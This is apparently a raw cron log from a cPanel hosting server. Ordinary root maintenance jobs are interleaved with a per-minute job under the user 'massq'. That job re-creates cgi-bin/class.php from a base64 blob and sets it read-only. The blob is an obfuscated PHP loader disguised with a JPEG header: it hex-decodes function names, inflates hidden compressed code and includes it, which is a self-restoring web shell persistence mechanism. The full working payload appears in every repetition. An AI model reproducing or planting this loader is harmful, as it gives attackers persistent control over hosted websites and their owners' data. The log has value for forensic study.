Sep 11 04:44:01 server CROND[17122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:45:01 server CROND[17498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:45:01 server CROND[17506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:45:01 server CROND[17508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:45:01 server CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:45:01 server CROND[17507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:45:01 server CROND[17510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:45:01 server CROND[17512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:46:01 server CROND[18325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:46:01 server CROND[18326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:46:01 server CROND[18327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:47:01 server CROND[18869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:47:01 server CROND[18870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:47:01 server CROND[18871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:48:01 server CROND[19246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:48:01 server CROND[19247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:48:01 server CROND[19248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:49:01 server CROND[19715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:49:01 server CROND[19716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:49:01 server CROND[19717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:50:01 server CROND[20257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:50:01 server CROND[20259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:50:01 server CROND[20261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:50:01 server CROND[20265]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:50:01 server CROND[20270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:50:01 server CROND[20272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:50:01 server CROND[20275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:50:01 server CROND[20274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:50:01 server CROND[20262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:51:01 server CROND[21150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:51:01 server CROND[21151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:51:01 server CROND[21152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:52:01 server CROND[21523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:52:01 server CROND[21524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:52:01 server CROND[21525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:53:01 server CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:53:01 server CROND[21906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:53:01 server CROND[21908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:54:01 server CROND[22555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:54:01 server CROND[22556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:54:01 server CROND[22557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:55:01 server CROND[23122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:55:01 server CROND[23124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:55:01 server CROND[23126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:55:01 server CROND[23129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:55:01 server CROND[23128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:55:01 server CROND[23127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:55:01 server CROND[23130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:56:01 server CROND[23967]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 11 04:56:01 server CROND[23969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
